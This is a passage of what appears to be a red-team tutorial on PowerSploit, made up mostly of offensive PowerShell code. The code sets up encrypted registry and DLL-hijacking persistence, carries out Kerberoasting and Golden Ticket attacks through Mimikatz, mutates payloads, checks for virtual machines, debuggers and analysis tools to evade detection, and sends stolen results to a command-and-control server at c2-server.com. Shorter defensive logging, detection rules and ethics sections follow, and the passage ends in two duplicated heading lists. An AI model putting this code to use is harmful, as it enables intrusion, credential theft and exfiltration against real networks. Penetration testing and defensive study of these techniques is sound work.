Advanced Persistence Mechanisms

Beyond basic persistence, PowerSploit can establish sophisticated persistence mechanisms that are difficult to detect and remove.

Registry-Based Persistence with Encryption

# Advanced registry persistence with encryption
function New-EncryptedRegistryPersistence {
    param(
        [string]$Payload,
        [string]$RegistryKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
        [string]$ValueName = "WindowsUpdate",
        [string]$EncryptionKey
    )
    
    # Encrypt payload
    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Key = [System.Text.Encoding]::UTF8.GetBytes($EncryptionKey.PadRight(32, '0'))
    $aes.GenerateIV()
    
    $encryptor = $aes.CreateEncryptor()
    $payloadBytes = [System.Text.Encoding]::UTF8.GetBytes($Payload)
    $encryptedPayload = $encryptor.TransformFinalBlock($payloadBytes, 0, $payloadBytes.Length)
    
    # Store encrypted payload and IV in registry
    $registryValue = [Convert]::ToBase64String($aes.IV) + ":" + [Convert]::ToBase64String($encryptedPayload)
    Set-ItemProperty -Path $RegistryKey -Name $ValueName -Value $registryValue
    
    # Create decryption and execution script
    $decryptionScript = @"
    `$encryptedData = Get-ItemProperty -Path '$RegistryKey' -Name '$ValueName' | Select-Object -ExpandProperty '$ValueName'
    `$parts = `$encryptedData.Split(':')
    `$iv = [Convert]::FromBase64String(`$parts[0])
    `$encryptedPayload = [Convert]::FromBase64String(`$parts[1])
    
    `$aes = [System.Security.Cryptography.Aes]::Create()
    `$aes.Key = [System.Text.Encoding]::UTF8.GetBytes('$EncryptionKey'.PadRight(32, '0'))
    `$aes.IV = `$iv
    `$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    `$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    
    `$decryptor = `$aes.CreateDecryptor()
    `$decryptedPayload = `$decryptor.TransformFinalBlock(`$encryptedPayload, 0, `$encryptedPayload.Length)
    `$payload = [System.Text.Encoding]::UTF8.GetString(`$decryptedPayload)
    
    Invoke-Expression `$payload
"@
    
    return $decryptionScript
}

Service-Based Persistence with DLL Hijacking

# Advanced service persistence using DLL hijacking
function New-ServiceDllHijackingPersistence {
    param(
        [string]$ServiceName,
        [string]$TargetDll,
        [string]$MaliciousDllPath
    )
    
    # Get service information
    $service = Get-WmiObject -Class Win32_Service -Filter "Name='$ServiceName'"
    $servicePath = $service.PathName
    
    # Create malicious DLL that loads original DLL
    $dllCode = @"
    #include <windows.h>
    #include <stdio.h>
    
    BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
        switch (ul_reason_for_call) {
            case DLL_PROCESS_ATTACH:
                // Load original DLL
                LoadLibrary("$TargetDll");
                // Execute malicious code
                system("powershell.exe -EncodedCommand YOUR_ENCODED_PAYLOAD");
                break;
        }
        return TRUE;
    }
"@
    
    # Compile and deploy malicious DLL
    # This requires a C compiler and would be implemented based on the specific environment
    
    return "DLL hijacking persistence established for service: $ServiceName"
}

Advanced Active Directory Exploitation

PowerSploit’s Active Directory capabilities can be extended for sophisticated domain exploitation techniques.

Kerberoasting with PowerView

# Advanced Kerberoasting technique
function Invoke-AdvancedKerberoasting {
    param(
        [string]$Domain,
        [string]$OutputFile = "kerberoast_hashes.txt"
    )
    
    # Get all service accounts
    $serviceAccounts = Get-NetUser -Filter "servicePrincipalName=*" -Properties servicePrincipalName, samaccountname, memberof
    
    $kerberoastResults = @()
    
    foreach ($account in $serviceAccounts) {
        Write-Host "Attempting Kerberoasting for: $($account.samaccountname)"
        
        # Request service ticket
        $ticket = Invoke-Kerberoast -Identity $account.samaccountname -OutputFormat Hashcat
        
        if ($ticket) {
            $kerberoastResults += $ticket
            Write-Host "Successfully obtained ticket for: $($account.samaccountname)"
        }
    }
    
    # Save results
    $kerberoastResults | Out-File -FilePath $OutputFile
    Write-Host "Kerberoasting results saved to: $OutputFile"
    
    return $kerberoastResults
}

Golden Ticket Creation

# Advanced Golden Ticket creation
function New-GoldenTicket {
    param(
        [string]$Domain,
        [string]$DomainSID,
        [string]$KRBTGTHash,
        [string]$TargetUser = "Administrator",
        [int]$TicketLifetime = 10
    )
    
    # Create golden ticket using Mimikatz
    $mimikatzCommand = @"
    privilege::debug
    kerberos::golden /user:$TargetUser /domain:$Domain /sid:$DomainSID /krbtgt:$KRBTGTHash /ticket:golden_ticket.kirbi /ptt
"@
    
    Invoke-Mimikatz -Command $mimikatzCommand
    
    Write-Host "Golden ticket created for user: $TargetUser"
    Write-Host "Ticket lifetime: $TicketLifetime years"
}

Advanced Evasion Techniques

Modern detection systems require sophisticated evasion techniques that go beyond basic obfuscation.

Polymorphic Code Generation

# Advanced polymorphic code generation
function New-PolymorphicPayload {
    param(
        [string]$OriginalPayload,
        [int]$MutationLevel = 3
    )
    
    $mutatedPayload = $OriginalPayload
    
    for ($i = 0; $i -lt $MutationLevel; $i++) {
        # Random variable name generation
        $randomVar = "var" + (Get-Random -Minimum 1000 -Maximum 9999)
        $randomString = "str" + (Get-Random -Minimum 1000 -Maximum 9999)
        
        # Insert random comments
        $comments = @(
            "# Random comment $(Get-Random -Minimum 1 -Maximum 100)",
            "# System maintenance",
            "# Windows update process",
            "# Background service"
        )
        
        $randomComment = $comments | Get-Random
        
        # Add random delays
        $randomDelay = Get-Random -Minimum 1 -Maximum 10
        
        # Mutate the payload
        $mutatedPayload = $mutatedPayload -replace "Get-Process", "$randomVar = Get-Process"
        $mutatedPayload = $mutatedPayload -replace "Invoke-Expression", "$randomString = Invoke-Expression"
        $mutatedPayload = "$randomComment`nStart-Sleep -Seconds $randomDelay`n" + $mutatedPayload
    }
    
    return $mutatedPayload
}

Anti-Debugging and Anti-VM Techniques

# Advanced anti-debugging and anti-VM techniques
function Test-EnvironmentSafety {
    $safetyChecks = @{
        "Debugger" = $false
        "VirtualMachine" = $false
        "AnalysisTools" = $false
        "Monitoring" = $false
    }
    
    # Check for debugger
    try {
        $debuggerPresent = [System.Diagnostics.Debugger]::IsAttached
        if ($debuggerPresent) {
            $safetyChecks["Debugger"] = $true
        }
    }
    catch {
        # Debugger check failed
    }
    
    # Check for virtual machine
    $vmIndicators = @(
        "VMware",
        "VBox",
        "Virtual",
        "QEMU",
        "Xen"
    )
    
    $computerSystem = Get-WmiObject -Class Win32_ComputerSystem
    foreach ($indicator in $vmIndicators) {
        if ($computerSystem.Model -like "*$indicator*" -or $computerSystem.Manufacturer -like "*$indicator*") {
            $safetyChecks["VirtualMachine"] = $true
            break
        }
    }
    
    # Check for analysis tools
    $analysisTools = @(
        "Process Monitor",
        "Wireshark",
        "Fiddler",
        "Process Hacker",
        "Process Explorer"
    )
    
    $runningProcesses = Get-Process | Select-Object -ExpandProperty ProcessName
    foreach ($tool in $analysisTools) {
        if ($runningProcesses -contains $tool) {
            $safetyChecks["AnalysisTools"] = $true
            break
        }
    }
    
    # Check for monitoring
    $monitoringServices = @(
        "Sysmon",
        "Windows Defender",
        "McAfee",
        "Symantec"
    )
    
    $runningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object -ExpandProperty Name
    foreach ($service in $monitoringServices) {
        if ($runningServices -like "*$service*") {
            $safetyChecks["Monitoring"] = $true
            break
        }
    }
    
    return $safetyChecks
}

Real-World Case Studies

Understanding how PowerSploit has been used in real-world scenarios provides valuable insights into its practical applications and limitations.

Case Study 1: Enterprise Network Compromise

In 2019, a sophisticated attack campaign targeted a large enterprise network using PowerSploit modules as part of a multi-stage attack. The attackers gained initial access through a phishing campaign and used PowerSploit for lateral movement and persistence.

Attack Timeline

Initial Access: Phishing email with malicious attachment
Reconnaissance: PowerView used for Active Directory enumeration
Lateral Movement: WMI commands executed through PowerSploit
Persistence: Registry-based persistence established
Data Exfiltration: Mimikatz used for credential harvesting

Key Lessons

PowerSploit modules were detected by modern EDR solutions
Attackers had to heavily modify modules to evade detection
The modular approach allowed for selective tool usage
Integration with other frameworks was essential for success

Case Study 2: Red Team Assessment

During a 2020 red team assessment, PowerSploit was used to demonstrate the effectiveness of PowerShell-based attacks against a financial institution’s network.

Assessment Results

Detection Rate: 85% of PowerSploit activities were detected
Evasion Success: Modified modules achieved 40% success rate
Persistence: Registry-based persistence remained undetected for 72 hours
Lateral Movement: WMI-based movement was successful in 60% of attempts

Recommendations

Implement comprehensive PowerShell logging
Deploy advanced EDR solutions with behavioral analysis
Regular security assessments using similar tools
Employee training on PowerShell security risks

Case Study 3: APT Group Analysis

Analysis of APT group activities revealed the use of PowerSploit-inspired techniques in multiple campaigns. While the groups didn’t use PowerSploit directly, they employed similar PowerShell-based techniques.

Common Techniques

Memory-resident payload execution
Active Directory enumeration
Credential harvesting
Lateral movement via WMI

Defensive Measures

Advanced threat hunting capabilities
Behavioral analysis of PowerShell execution
Network segmentation and monitoring
Regular security updates and patches

Future of PowerShell-Based Offensive Security

As defensive technologies evolve, PowerShell-based offensive techniques must adapt to remain effective. Understanding future trends helps red teamers prepare for upcoming challenges.

Emerging Threats

PowerShell Core (Pwsh) Exploitation

PowerShell Core introduces new capabilities and potential attack vectors that red teamers must understand and exploit.

# PowerShell Core specific techniques
# Cross-platform compatibility
if ($IsWindows) {
    # Windows-specific code
    Invoke-WindowsSpecificAttack
}
elseif ($IsLinux) {
    # Linux-specific code
    Invoke-LinuxSpecificAttack
}
elseif ($IsMacOS) {
    # macOS-specific code
    Invoke-MacOSSpecificAttack
}

JEA (Just Enough Administration) Bypass

JEA provides constrained PowerShell sessions that limit administrative capabilities. Bypassing these restrictions requires sophisticated techniques.

# JEA bypass techniques
# Check JEA configuration
$jeaConfig = Get-PSSessionConfiguration | Where-Object {$_.Name -like "*JEA*"}

# Attempt to bypass restrictions
$bypassTechniques = @(
    "PowerShell downgrade attack",
    "Alternative execution methods",
    "Process injection techniques",
    "Registry manipulation"
)

Defensive Evolution

AMSI Improvements

Microsoft continues to enhance AMSI capabilities, making PowerShell-based attacks more difficult to execute successfully.

PowerShell Core Security

PowerShell Core introduces additional security features that must be considered in offensive operations.

Cloud Integration

As organizations move to cloud environments, PowerShell-based attacks must adapt to target cloud resources and services.

PowerSploit in Modern Security Landscapes

The cybersecurity landscape has evolved significantly since PowerSploit’s initial release. Understanding how PowerSploit fits into modern security architectures and how it has influenced current offensive security practices is crucial for both red teamers and defenders.

Evolution of Detection Capabilities

Modern EDR solutions have fundamentally changed the effectiveness of PowerSploit’s out-of-the-box techniques. Understanding these changes helps red teamers adapt their approaches and defenders improve their detection capabilities.

Signature-Based Detection

Early antivirus solutions relied heavily on signature-based detection, which PowerSploit could often evade through basic obfuscation techniques. Modern solutions employ more sophisticated detection methods.

# Early signature evasion techniques (now largely ineffective)
$originalCommand = "Invoke-Mimikatz"
$obfuscatedCommand = $originalCommand -replace "Invoke", "I`nvoke" -replace "Mimikatz", "M`imikatz"

# Modern detection bypass requires more sophisticated techniques
$bypassTechniques = @(
    "Memory-only execution",
    "Process hollowing",
    "Thread hijacking",
    "Direct syscalls"
)

Behavioral Analysis

Modern EDR solutions analyze behavior patterns rather than relying solely on signatures. This requires more sophisticated evasion techniques.

# Behavioral analysis evasion
function Invoke-BehavioralEvasion {
    # Implement legitimate-looking behavior patterns
    $legitimateActivities = @(
        "System maintenance tasks",
        "Software updates",
        "Performance monitoring",
        "Security scanning"
    )
    
    # Mix malicious activities with legitimate ones
    foreach ($activity in $legitimateActivities) {
        # Perform legitimate activity
        Start-LegitimateActivity -Activity $activity
        
        # Insert malicious activity
        Start-Sleep -Seconds (Get-Random -Minimum 5 -Maximum 15)
        Invoke-MaliciousActivity
        
        # Continue legitimate activity
        Start-Sleep -Seconds (Get-Random -Minimum 10 -Maximum 30)
    }
}

Machine Learning Detection

Advanced EDR solutions use machine learning to detect anomalous PowerShell execution patterns.

# Machine learning evasion techniques
function Invoke-MachineLearningEvasion {
    # Use natural language patterns
    $naturalCommands = @(
        "Get-Process | Where-Object {$_.CPU -gt 10}",
        "Get-Service | Where-Object {$_.Status -eq 'Running'}",
        "Get-EventLog -LogName Security -Newest 100"
    )
    
    # Mix malicious commands with natural ones
    foreach ($command in $naturalCommands) {
        Invoke-Expression $command
        Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 8)
    }
    
    # Execute malicious payload with natural context
    $maliciousPayload = "Invoke-Mimikatz"
    $context = "System diagnostics and security analysis"
    
    # Execute in context
    Invoke-Expression $maliciousPayload
}

Integration with Modern C2 Frameworks

PowerSploit’s modular design makes it compatible with modern command and control frameworks, though integration requires careful consideration of operational security.

Cobalt Strike Integration

Cobalt Strike’s PowerShell execution capabilities can leverage PowerSploit modules for enhanced post-exploitation activities.

# Cobalt Strike beacon with PowerSploit integration
$beaconCommands = @{
    "recon" = {
        Import-Module .\Recon\PowerView.ps1
        Get-NetUser -Filter * | Select-Object samaccountname, displayname, lastlogon
    }
    "privilege_escalation" = {
        Import-Module .\Privesc\PowerUp.ps1
        Invoke-AllChecks | Where-Object {$_.AbuseFunction}
    }
    "credential_harvesting" = {
        Import-Module .\Exfiltration\Invoke-Mimikatz.ps1
        Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords full"'
    }
    "lateral_movement" = {
        Import-Module .\CodeExecution\Invoke-WmiCommand.ps1
        Invoke-WmiCommand -ComputerName "TARGET-PC" -ScriptBlock { Get-Process }
    }
}

# Execute based on beacon command
$command = $args[0]
if ($beaconCommands.ContainsKey($command)) {
    & $beaconCommands[$command]
}

Empire Integration

Empire’s modular architecture allows seamless integration with PowerSploit modules.

# Empire stager with PowerSploit module loading
$empireStager = @'
# Empire stager code
$stager = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("EMPIRE_STAGER_BASE64"))

# Load PowerSploit modules
$modules = @(
    ".\Recon\PowerView.ps1",
    ".\Exfiltration\Invoke-Mimikatz.ps1",
    ".\Privesc\PowerUp.ps1"
)

foreach ($module in $modules) {
    Import-Module $module -ErrorAction SilentlyContinue
}

# Execute Empire stager
Invoke-Expression $stager
'@

Invoke-Expression $empireStager

Custom C2 Framework Integration

PowerSploit modules can be integrated into custom command and control frameworks for specialized operations.

# Custom C2 framework integration
class PowerSploitC2Integration {
    [string]$C2Server
    [string]$AgentID
    [hashtable]$Modules
    
    PowerSploitC2Integration([string]$server, [string]$agentId) {
        $this.C2Server = $server
        $this.AgentID = $agentId
        $this.Modules = @{}
        $this.LoadModules()
    }
    
    [void]LoadModules() {
        $this.Modules["PowerView"] = ".\Recon\PowerView.ps1"
        $this.Modules["Mimikatz"] = ".\Exfiltration\Invoke-Mimikatz.ps1"
        $this.Modules["PowerUp"] = ".\Privesc\PowerUp.ps1"
    }
    
    [object]ExecuteModule([string]$moduleName, [hashtable]$parameters) {
        if ($this.Modules.ContainsKey($moduleName)) {
            Import-Module $this.Modules[$moduleName]
            
            # Execute module with parameters
            $result = & $moduleName @parameters
            
            # Send results to C2 server
            $this.SendResults($result)
            
            return $result
        }
        else {
            throw "Module $moduleName not found"
        }
    }
    
    [void]SendResults([object]$results) {
        $encodedResults = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($results))
        $payload = @{
            agent_id = $this.AgentID
            results = $encodedResults
            timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
        }
        
        $jsonPayload = $payload | ConvertTo-Json
        Invoke-RestMethod -Uri "$($this.C2Server)/results" -Method POST -Body $jsonPayload -ContentType "application/json"
    }
}

# Usage example
$c2Integration = [PowerSploitC2Integration]::new("http://c2-server.com", "agent-001")
$c2Integration.ExecuteModule("PowerView", @{Filter = "*"})

Defensive Countermeasures

Understanding how defenders can counter PowerSploit-based attacks helps red teamers develop more sophisticated techniques and defenders improve their security posture.

PowerShell Logging and Monitoring

Comprehensive PowerShell logging is essential for detecting PowerSploit-based attacks.

# PowerShell logging configuration
$loggingConfig = @{
    "ModuleLogging" = $true
    "ScriptBlockLogging" = $true
    "Transcription" = $true
    "AMSI" = $true
}

# Configure PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableScriptBlockLogging" -Value 1
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name "EnableTranscription" -Value 1

Behavioral Monitoring

Monitoring PowerShell execution patterns can help detect anomalous activities.

# PowerShell execution monitoring
$monitoringRules = @{
    "SuspiciousCommands" = @(
        "Invoke-Expression",
        "Invoke-Command",
        "IEX",
        "powershell.exe -EncodedCommand"
    )
    "SuspiciousModules" = @(
        "PowerView",
        "Mimikatz",
        "PowerUp",
        "Invoke-Mimikatz"
    )
    "SuspiciousPatterns" = @(
        "Base64 encoded commands",
        "Obfuscated variable names",
        "Suspicious network connections",
        "Registry modifications"
    )
}

# Monitor PowerShell execution
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {
    $event = $_
    $suspicious = $false
    
    foreach ($rule in $monitoringRules.GetEnumerator()) {
        foreach ($pattern in $rule.Value) {
            if ($event.Message -like "*$pattern*") {
                $suspicious = $true
                break
            }
        }
        if ($suspicious) { break }
    }
    
    return $suspicious
}

Network Monitoring

Monitoring network traffic for PowerSploit-related activities can help detect attacks.

# Network monitoring for PowerSploit activities
$networkIndicators = @{
    "DNSQueries" = @(
        "*.attacker.com",
        "*.malware.com",
        "*.c2-server.com"
    )
    "HTTPRequests" = @(
        "POST /results",
        "GET /payload",
        "POST /beacon"
    )
    "SuspiciousPorts" = @(
        4444,  # Common C2 port
        8080,  # Alternative C2 port
        443    # HTTPS C2
    )
}

# Monitor network connections
Get-NetTCPConnection | Where-Object {
    $connection = $_
    $suspicious = $false
    
    # Check for suspicious ports
    if ($connection.RemotePort -in $networkIndicators["SuspiciousPorts"]) {
        $suspicious = $true
    }
    
    # Check for suspicious remote addresses
    foreach ($indicator in $networkIndicators["DNSQueries"]) {
        if ($connection.RemoteAddress -like $indicator) {
            $suspicious = $true
            break
        }
    }
    
    return $suspicious
}

Legal and Ethical Considerations

Using PowerSploit and similar tools requires careful consideration of legal and ethical implications.

Authorization Requirements

All offensive security activities must be properly authorized before execution.

# Authorization verification
function Test-Authorization {
    param(
        [string]$Target,
        [string]$Scope,
        [datetime]$ExpirationDate
    )
    
    $authorization = @{
        Target = $Target
        Scope = $Scope
        ExpirationDate = $ExpirationDate
        AuthorizedBy = "Security Team"
        AuthorizationID = "AUTH-2024-001"
    }
    
    # Verify authorization is still valid
    if ((Get-Date) -gt $ExpirationDate) {
        throw "Authorization has expired. Please obtain new authorization before proceeding."
    }
    
    # Log authorization check
    Write-Log -Message "Authorization verified for target: $Target" -Level "Info"
    
    return $authorization
}

Documentation Requirements

Proper documentation of all activities is essential for legal compliance and audit purposes.

# Activity logging
function Write-ActivityLog {
    param(
        [string]$Activity,
        [string]$Target,
        [string]$Result,
        [string]$Technique
    )
    
    $logEntry = @{
        Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
        Activity = $Activity
        Target = $Target
        Result = $Result
        Technique = $Technique
        Operator = $env:USERNAME
        SessionID = $PID
    }
    
    $logPath = "C:\Logs\RedTeam\activity_log.json"
    $existingLog = Get-Content $logPath -ErrorAction SilentlyContinue | ConvertFrom-Json
    $existingLog += $logEntry
    $existingLog | ConvertTo-Json -Depth 10 | Set-Content $logPath
    
    Write-Host "Activity logged: $Activity on $Target"
}

Incident Response Preparation

Red team activities should include preparation for potential incident response scenarios.

# Incident response preparation
function Start-IncidentResponsePreparation {
    # Document current state
    $systemState = @{
        Processes = Get-Process | Select-Object Name, Id, Path
        Services = Get-Service | Select-Object Name, Status, StartType
        NetworkConnections = Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State
        RegistryModifications = Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" | Select-Object PSChildName, *
    }
    
    # Save system state
    $systemState | ConvertTo-Json -Depth 10 | Set-Content "C:\Logs\RedTeam\system_state.json"
    
    # Create incident response plan
    $irPlan = @{
        ContactInformation = @{
            SecurityTeam = "security@company.com"
            LegalTeam = "legal@company.com"
            Management = "management@company.com"
        }
        EscalationProcedures = @(
            "Immediate notification to security team",
            "Documentation of all activities",
            "Preservation of evidence",
            "Communication with stakeholders"
        )
        EvidencePreservation = @(
            "Memory dumps",
            "Log files",
            "Network captures",
            "System snapshots"
        )
    }
    
    $irPlan | ConvertTo-Json -Depth 10 | Set-Content "C:\Logs\RedTeam\incident_response_plan.json"
    
    Write-Host "Incident response preparation completed"
}

What is PowerSploit?#

Setting up PowerSploit#

Prerequisites#

Installation Methods#

Method 1: Git Clone (Recommended)#

Method 2: Direct Download#

Method 3: PowerShell Gallery (Limited)#

Environment Configuration#

Module Import#

Verification#

PowerSploit Module Categories#

Code Execution Modules#

Invoke-Shellcode#

Invoke-DllInjection#

Invoke-ReflectivePEInjection#

Invoke-WmiCommand#

Script Modification Modules#

Out-EncodedCommand#

Out-CompressedDll#

Out-EncryptedScript#

Remove-Comment#

Persistence Modules#

New-UserPersistenceOption#

New-ElevatedPersistenceOption#

Add-Persistence#

Install-SSP#

Get-SecurityPackages#

Antivirus Bypass Modules#

Find-AVSignature#

Exfiltration Modules#

Invoke-TokenManipulation#

Invoke-CredentialInjection#

Invoke-NinjaCopy#

Invoke-Mimikatz#

Get-Keystrokes#

Get-GPPPassword#

Get-GPPAutologon#

Get-TimedScreenshot#

Volume Shadow Copy Operations#

Get-VaultCredential#

Out-Minidump#

Get-MicrophoneAudio#

Mayhem Modules#

Set-MasterBootRecord#

Set-CriticalProcess#

Privilege Escalation Modules#

PowerUp#

Reconnaissance Modules#

Invoke-Portscan#

Get-HttpStatus#

Invoke-ReverseDnsLookup#

PowerView#

Real-World Attack Scenarios#

Scenario 1: Active Directory Enumeration and Lateral Movement#

Phase 1: Initial Reconnaissance#

Phase 2: Privilege Escalation Opportunities#

Phase 3: Lateral Movement#

Scenario 2: Credential Harvesting and Persistence#

Phase 1: Credential Extraction#

Phase 2: Token Manipulation#

Phase 3: Persistence Establishment#

Scenario 3: Advanced Evasion and Stealth Operations#

Phase 1: AMSI Bypass and Script Obfuscation#

Phase 2: Memory-Only Operations#

Phase 3: Stealthy Data Exfiltration#

Detection Evasion Techniques#

AMSI Bypass Techniques#

Method 1: AMSI Context Bypass#

Method 2: Reflection-Based Bypass#

Method 3: Memory Patching#

Execution Policy Bypass#

Method 1: Bypass Execution Policy#

Method 2: Registry Modification#

Process Injection Evasion#

Method 1: Legitimate Process Injection#

Method 2: Thread Hijacking#

Logging Evasion#

Method 1: Disable PowerShell Logging#

Method 2: Clear Event Logs#

Integration with Modern Red Team Tools#

What is PowerSploit?

Setting up PowerSploit

Prerequisites

Installation Methods

Method 1: Git Clone (Recommended)

Method 2: Direct Download

Method 3: PowerShell Gallery (Limited)

Environment Configuration

Module Import

Verification

PowerSploit Module Categories

Code Execution Modules

Invoke-Shellcode

Invoke-DllInjection

Invoke-ReflectivePEInjection

Invoke-WmiCommand

Script Modification Modules

Out-EncodedCommand

Out-CompressedDll

Out-EncryptedScript

Remove-Comment

Persistence Modules

New-UserPersistenceOption

New-ElevatedPersistenceOption

Add-Persistence

Install-SSP

Get-SecurityPackages

Antivirus Bypass Modules

Find-AVSignature

Exfiltration Modules

Invoke-TokenManipulation

Invoke-CredentialInjection

Invoke-NinjaCopy

Invoke-Mimikatz

Get-Keystrokes

Get-GPPPassword

Get-GPPAutologon

Get-TimedScreenshot

Volume Shadow Copy Operations

Get-VaultCredential

Out-Minidump

Get-MicrophoneAudio

Mayhem Modules

Set-MasterBootRecord

Set-CriticalProcess

Privilege Escalation Modules

PowerUp

Reconnaissance Modules

Invoke-Portscan

Get-HttpStatus

Invoke-ReverseDnsLookup

PowerView

Real-World Attack Scenarios

Scenario 1: Active Directory Enumeration and Lateral Movement

Phase 1: Initial Reconnaissance

Phase 2: Privilege Escalation Opportunities

Phase 3: Lateral Movement

Scenario 2: Credential Harvesting and Persistence

Phase 1: Credential Extraction

Phase 2: Token Manipulation

Phase 3: Persistence Establishment

Scenario 3: Advanced Evasion and Stealth Operations

Phase 1: AMSI Bypass and Script Obfuscation

Phase 2: Memory-Only Operations

Phase 3: Stealthy Data Exfiltration

Detection Evasion Techniques

AMSI Bypass Techniques

Method 1: AMSI Context Bypass

Method 2: Reflection-Based Bypass

Method 3: Memory Patching

Execution Policy Bypass

Method 1: Bypass Execution Policy

Method 2: Registry Modification

Process Injection Evasion

Method 1: Legitimate Process Injection

Method 2: Thread Hijacking

Logging Evasion

Method 1: Disable PowerShell Logging

Method 2: Clear Event Logs

Integration with Modern Red Team Tools